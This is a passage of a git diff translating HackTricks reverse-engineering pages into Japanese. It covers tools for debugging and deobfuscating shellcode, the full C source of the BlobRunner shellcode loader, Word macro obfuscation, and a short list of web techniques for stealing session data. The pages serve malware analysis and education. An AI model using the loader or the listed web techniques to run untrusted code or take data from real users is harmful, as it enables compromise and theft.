CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。 {% page-ref page="blobrunner.md" %} -## Debugging a shellcode with jmp2it +## jmp2itを使用してシェルコードをデバッグする -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)is very similar to blobrunner. It will **allocate** the **shellcode** inside a space of memory, and start an **eternal loop**. You then need to **attach the debugger** to the process, **play start wait 2-5 secs and press stop** and you will find yourself inside the **eternal loop**. Jump to the next instruction of the eternal loop as it will be a call to the shellcode, and finally you will find yourself executing the shellcode. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerと非常に似ています。シェルコードをメモリ内のスペースに**割り当て**、**永遠のループ**を開始します。その後、プロセスにデバッガを**アタッチ**し、**再生を開始して2〜5秒待ち、停止**を押すと、**永遠のループ**の中にいます。永遠のループの次の命令にジャンプし、最終的にシェルコードを実行します。 ![](../../.gitbook/assets/image%20%28403%29.png) -You can download a compiled version of [jmp2it inside the releases page](https://github.com/adamkramer/jmp2it/releases/). +[リリースページからjmp2itのコンパイル済みバージョンをダウンロードできます](https://github.com/adamkramer/jmp2it/releases/)。 -## Debugging shellcode using Cutter +## Cutterを使用してシェルコードをデバッグする -[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) is the GUI of radare. Using cutter you can emulate the shellcode and inspect it dynamically. +[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)は、radareのGUIです。Cutterを使用すると、シェルコードをエミュレートして動的に検査できます。 -Note that Cutter allows you to "Open File" and "Open Shellcode". In my case when I opened the shellcode as a file it decompiled it correctly, but when I opened it as a shellcode it didn't: +Cutterでは、「ファイルを開く」と「シェルコードを開く」の2つのオプションがあります。私の場合、シェルコードをファイルとして開いた場合は正しく逆コンパイルされましたが、シェルコードとして開いた場合は逆コンパイルされませんでした。 ![](../../.gitbook/assets/image%20%28254%29.png) -In order to start the emulation in the place you want to, set a bp there and apparently cutter will automatically start the emulation from there: +特定の場所でエミュレーションを開始するには、そこにブレークポイントを設定し、おそらくCutterが自動的にそこからエミュレーションを開始します。 ![](../../.gitbook/assets/image%20%28402%29.png) ![](../../.gitbook/assets/image%20%28343%29.png) -You can see the stack for example inside a hex dump: +たとえば、ヘックスダンプ内でスタックを表示できます。 ![](../../.gitbook/assets/image%20%28404%29.png) +## シェルコードの難読化を解除し、実行される関数を取得する -## Deobfuscating shellcode and getting executed functions - -You should try [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152). -It will tell you things like **which functions** is the shellcode using and if the shellcode is **decoding** itself in memory. - +[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)を試してみるべきです。 +これは、シェルコードが使用している**関数**や、シェルコードがメモリ内で**自己復号化**しているかどうかなどを教えてくれます。 ```bash scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode -r #show analysis report at end of run @@ -199,60 +240,53 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset ``` - -scDbg also counts with a graphical launcher where you can select the options you want and execute the shellcode +scDbgには、グラフィカルなランチャーもあります。ここで、必要なオプションを選択してシェルコードを実行することができます。 ![](../../.gitbook/assets/image%20%28401%29.png) -The **Create Dump** option will dump the final shellcode if any change is done to the shellcode dynamically in memory \(useful to download the decoded shellcode\). The **start offset** can be useful to start the shellcode at a specific offset. The **Debug Shell** option is useful to debug the shellcode using the scDbg terminal \(however I find any of the options explained before better for this matter as you will be able to use Ida or x64dbg\). +**Create Dump**オプションは、シェルコードがメモリ内で動的に変更された場合に、最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset**は、特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell**オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに便利です(ただし、前述のオプションのいずれかを使用する方が、Idaまたはx64dbgを使用できるため、より良いです)。 -## Disassembling using CyberChef +## CyberChefを使用した逆アセンブル -Upload you shellcode file as input and use the following receipt to decompile it: [https://gchq.github.io/CyberChef/\#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29) +シェルコードファイルを入力としてアップロードし、次のレシピを使用して逆アセンブルします:[https://gchq.github.io/CyberChef/\#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29) # [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) -This ofuscator change all the instructions for `mov`\(yeah, really cool\). It also uses interruptions to change executions flows. For more information about how does it works: +この難読化ツールは、すべての命令を`mov`に変更します(本当にクールですね)。また、実行フローを変更するために割り込みも使用します。詳細については、以下を参照してください: * [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) * [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) -If you are lucky [demovfuscator ](https://github.com/kirschju/demovfuscator)will deofuscate the binary. It has several dependencies - +運が良ければ、[demovfuscator](https://github.com/kirschju/demovfuscator)がバイナリを復号化します。いくつかの依存関係があります。 ```text apt-get install libcapstone-dev apt-get install libz3-dev ``` +そして、[keystoneをインストール](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)します(`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) -And [install keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) \(`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`\) - -If you are playing a **CTF, this workaround to find the flag** could be very useful: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) +もしCTFをプレイしている場合、フラグを見つけるためのこの回避策は非常に役立つでしょう:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) # Delphi -For Delphi compiled binaries you can use [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) +Delphiでコンパイルされたバイナリには、[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)を使用できます。 -# Courses +# コース * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) -* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binary deobfuscation\) - - +* [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(バイナリの逆難読化)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/reversing/reversing-tools/blobrunner.md b/reversing/reversing-tools/blobrunner.md index e425cbb50..ae1cabf43 100644 --- a/reversing/reversing-tools/blobrunner.md +++ b/reversing/reversing-tools/blobrunner.md @@ -1,25 +1,22 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**最新バージョンのPEASSにアクセスしたいですか?** または、**HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-The only modified line from the [original code](https://github.com/OALabs/BlobRunner) is the line 10. -In order to compile it just **create a C/C++ project in Visual Studio Code, copy and paste the code and build it**. - +オリジナルコード(https://github.com/OALabs/BlobRunner)から変更されたのは10行目だけです。 +**Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルド**するだけでコンパイルできます。 ```c #include #include @@ -46,200 +43,195 @@ const char* _banner = " __________.__ ___. __________\n" void banner() { - system("cls"); - printf(_banner, _version); - return; +system("cls"); +printf(_banner, _version); +return; } LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) { - LPVOID lpvBase; - FILE* file; - unsigned long fileLen; - char* buffer; - DWORD dummy; +LPVOID lpvBase; +FILE* file; +unsigned long fileLen; +char* buffer; +DWORD dummy; - file = fopen(inputfile_name, "rb"); +file = fopen(inputfile_name, "rb"); - if (!file) { - printf(" [!] Error: Unable to open %s\n", inputfile_name); +if (!file) { +printf(" [!] Error: Unable to open %s\n", inputfile_name); - return (LPVOID)NULL; - } +return (LPVOID)NULL; +} - printf(" [*] Reading file...\n"); - fseek(file, 0, SEEK_END); - fileLen = ftell(file); //Get Length +printf(" [*] Reading file...\n"); +fseek(file, 0, SEEK_END); +fileLen = ftell(file); //Get Length - printf(" [*] File Size: 0x%04x\n", fileLen); - fseek(file, 0, SEEK_SET); //Reset +printf(" [*] File Size: 0x%04x\n", fileLen); +fseek(file, 0, SEEK_SET); //Reset - fileLen += 1; +fileLen += 1; - buffer = (char*)malloc(fileLen); //Create Buffer - fread(buffer, fileLen, 1, file); - fclose(file); +buffer = (char*)malloc(fileLen); //Create Buffer +fread(buffer, fileLen, 1, file); +fclose(file); - printf(" [*] Allocating Memory..."); +printf(" [*] Allocating Memory..."); - lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); +lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); - printf(".Allocated!\n"); - printf(" [*] |-Base: 0x%08x\n", (int)(size_t)lpvBase); - printf(" [*] Copying input data...\n"); +printf(".Allocated!\n"); +printf(" [*] |-Base: 0x%08x\n", (int)(size_t)lpvBase); +printf(" [*] Copying input data...\n"); - CopyMemory(lpvBase, buffer, fileLen); - return lpvBase; +CopyMemory(lpvBase, buffer, fileLen); +return lpvBase; } void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug) { - LPVOID shell_entry; +LPVOID shell_entry; #ifdef _WIN64 - DWORD thread_id; - HANDLE thread_handle; - const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n"; +DWORD thread_id; +HANDLE thread_handle; +const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n"; #else - const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n"; +const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n"; #endif - shell_entry = (LPVOID)((UINT_PTR)base + offset); +shell_entry = (LPVOID)((UINT_PTR)base + offset); #ifdef _WIN64 - printf(" [*] Creating Suspended Thread...\n"); - thread_handle = CreateThread( - NULL, // Attributes - 0, // Stack size (Default) - shell_entry, // Thread EP - NULL, // Arguments - 0x4, // Create Suspended - &thread_id); // Thread identifier +printf(" [*] Creating Suspended Thread...\n"); +thread_handle = CreateThread( +NULL, // Attributes +0, // Stack size (Default) +shell_entry, // Thread EP +NULL, // Arguments +0x4, // Create Suspended +&thread_id); // Thread identifier - if (thread_handle == NULL) { - printf(" [!] Error Creating thread..."); - return; - } - printf(" [*] Created Thread: [%d]\n", thread_id); - printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry); +if (thread_handle == NULL) { +printf(" [!] Error Creating thread..."); +return; +} +printf(" [*] Created Thread: [%d]\n", thread_id); +printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry); #endif - if (nopause == false) { - printf("%s", msg); - getchar(); - } - else - { - if (jit == true) { - // Force an exception by making the first byte not executable. - // This will cause - DWORD oldp; +if (nopause == false) { +printf("%s", msg); +getchar(); +} +else +{ +if (jit == true) { +// Force an exception by making the first byte not executable. +// This will cause +DWORD oldp; - printf(" [*] Removing EXECUTE access to trigger exception...\n"); +printf(" [*] Removing EXECUTE access to trigger exception...\n"); - VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp); - } - } +VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp); +} +} #ifdef _WIN64 - printf(" [*] Resuming Thread..\n"); - ResumeThread(thread_handle); +printf(" [*] Resuming Thread..\n"); +ResumeThread(thread_handle); #else - printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry); - printf(" [*] Jumping to shellcode\n"); - __asm jmp shell_entry; +printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry); +printf(" [*] Jumping to shellcode\n"); +__asm jmp shell_entry; #endif } void print_help() { - printf(" [!] Error: No file!\n\n"); - printf(" Required args: \n\n"); - printf(" Optional Args:\n"); - printf(" --offset The offset to jump into.\n"); - printf(" --nopause Don't pause before jumping to shellcode. Danger!!! \n"); - printf(" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\n"); - printf(" --debug Verbose logging.\n"); - printf(" --version Print version and exit.\n\n"); +printf(" [!] Error: No file!\n\n"); +printf(" Required args: \n\n"); +printf(" Optional Args:\n"); +printf(" --offset The offset to jump into.\n"); +printf(" --nopause Don't pause before jumping to shellcode. Danger!!! \n"); +printf(" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\n"); +printf(" --debug Verbose logging.\n"); +printf(" --version Print version and exit.\n\n"); } int main(int argc, char* argv[]) { - LPVOID base; - int i; - int offset = 0; - bool nopause = false; - bool debug = false; - bool jit = false; - char* nptr; +LPVOID base; +int i; +int offset = 0; +bool nopause = false; +bool debug = false; +bool jit = false; +char* nptr; - banner(); +banner(); - if (argc < 2) { - print_help(); - return -1; - } +if (argc < 2) { +print_help(); +return -1; +} - printf(" [*] Using file: %s \n", argv[1]); +printf(" [*] Using file: %s \n", argv[1]); - for (i = 2; i < argc; i++) { - if (strcmp(argv[i], "--offset") == 0) { - printf(" [*] Parsing offset...\n"); - i = i + 1; - if (strncmp(argv[i], "0x", 2) == 0) { - offset = strtol(argv[i], &nptr, 16); - } - else { - offset = strtol(argv[i], &nptr, 10); - } - } - else if (strcmp(argv[i], "--nopause") == 0) { - nopause = true; - } - else if (strcmp(argv[i], "--jit") == 0) { - jit = true; - nopause = true; - } - else if (strcmp(argv[i], "--debug") == 0) { - debug = true; - } - else if (strcmp(argv[i], "--version") == 0) { - printf("Version: %s", _version); - } - else { - printf("[!] Warning: Unknown arg: %s\n", argv[i]); - } - } +for (i = 2; i < argc; i++) { +if (strcmp(argv[i], "--offset") == 0) { +printf(" [*] Parsing offset...\n"); +i = i + 1; +if (strncmp(argv[i], "0x", 2) == 0) { +offset = strtol(argv[i], &nptr, 16); +} +else { +offset = strtol(argv[i], &nptr, 10); +} +} +else if (strcmp(argv[i], "--nopause") == 0) { +nopause = true; +} +else if (strcmp(argv[i], "--jit") == 0) { +jit = true; +nopause = true; +} +else if (strcmp(argv[i], "--debug") == 0) { +debug = true; +} +else if (strcmp(argv[i], "--version") == 0) { +printf("Version: %s", _version); +} +else { +printf("[!] Warning: Unknown arg: %s\n", argv[i]); +} +} - base = process_file(argv[1], jit, offset, debug); - if (base == NULL) { - printf(" [!] Exiting..."); - return -1; - } - printf(" [*] Using offset: 0x%08x\n", offset); - execute(base, offset, nopause, jit, debug); - printf("Pausing - Press any key to quit.\n"); - getchar(); - return 0; +base = process_file(argv[1], jit, offset, debug); +if (base == NULL) { +printf(" [!] Exiting..."); +return -1; +} +printf(" [*] Using offset: 0x%08x\n", offset); +execute(base, offset, nopause, jit, debug); +printf("Pausing - Press any key to quit.\n"); +getchar(); +return 0; } ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/reversing/word-macros.md b/reversing/word-macros.md index d35771b9a..cadb6b546 100644 --- a/reversing/word-macros.md +++ b/reversing/word-macros.md @@ -1,32 +1,13 @@ +## ジャンクコード - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -## Junk Code - -It's very common to find **junk code that is never used** to make the reversing of the macro more difficult.\ -For example, in the following image you can see that and If that is never going to be true is used to execute some junk and useless code. +**使用されないジャンクコード**を見つけることは非常に一般的であり、マクロのリバースエンジニアリングを困難にするために使用されます。\ +たとえば、次の画像では、決して真にならないIfが使用されて、いくつかのジャンクで無駄なコードが実行されることが示されています。 ![](<../.gitbook/assets/image (373).png>) -## Macro Forms +## マクロフォーム -Using the **GetObject** function it's possible to obtain data from forms of the macro. This can be used to difficult the analysis. The following is a photo of a macro form used to **hide data inside text boxes** (a text box can be hiding other text boxes): +**GetObject**関数を使用すると、マクロのフォームからデータを取得することができます。これは分析を困難にするために使用できます。次は、テキストボックス内にデータを**隠すために使用されるマクロフォーム**の写真です(テキストボックスは他のテキストボックスを隠すことができます)。 ![](<../.gitbook/assets/image (374).png>) @@ -35,16 +16,14 @@ Using the **GetObject** function it's possible to obtain data from forms of the ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/stealing-sensitive-information-disclosure-from-a-web.md b/stealing-sensitive-information-disclosure-from-a-web.md index 0b157993a..2bae38dae 100644 --- a/stealing-sensitive-information-disclosure-from-a-web.md +++ b/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,45 +1,39 @@ +
+☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! + +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 + +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 + +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.** + +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
+ + +もし、**セッションに基づいて機密情報を表示するウェブページ**に出くわした場合、クッキーの反映、印刷、クレジットカードの詳細など、他の機密情報を盗むことを試みることができます。以下に、それを達成するための主な方法を紹介します: + +* [**CORSバイパス**](pentesting-web/cors-bypass.md):CORSヘッダーをバイパスできれば、悪意のあるページに対してAjaxリクエストを実行して情報を盗むことができます。 +* [**XSS**](pentesting-web/xss-cross-site-scripting/):ページでXSSの脆弱性を見つけると、それを悪用して情報を盗むことができるかもしれません。 +* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection.md):XSSタグを挿入できない場合でも、他の通常のHTMLタグを使用して情報を盗むことができるかもしれません。 +* [**Clickjaking**](pentesting-web/clickjacking.md):この攻撃に対する保護がない場合、ユーザーをだまして機密データを送らせることができるかもしれません(例は[こちら](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 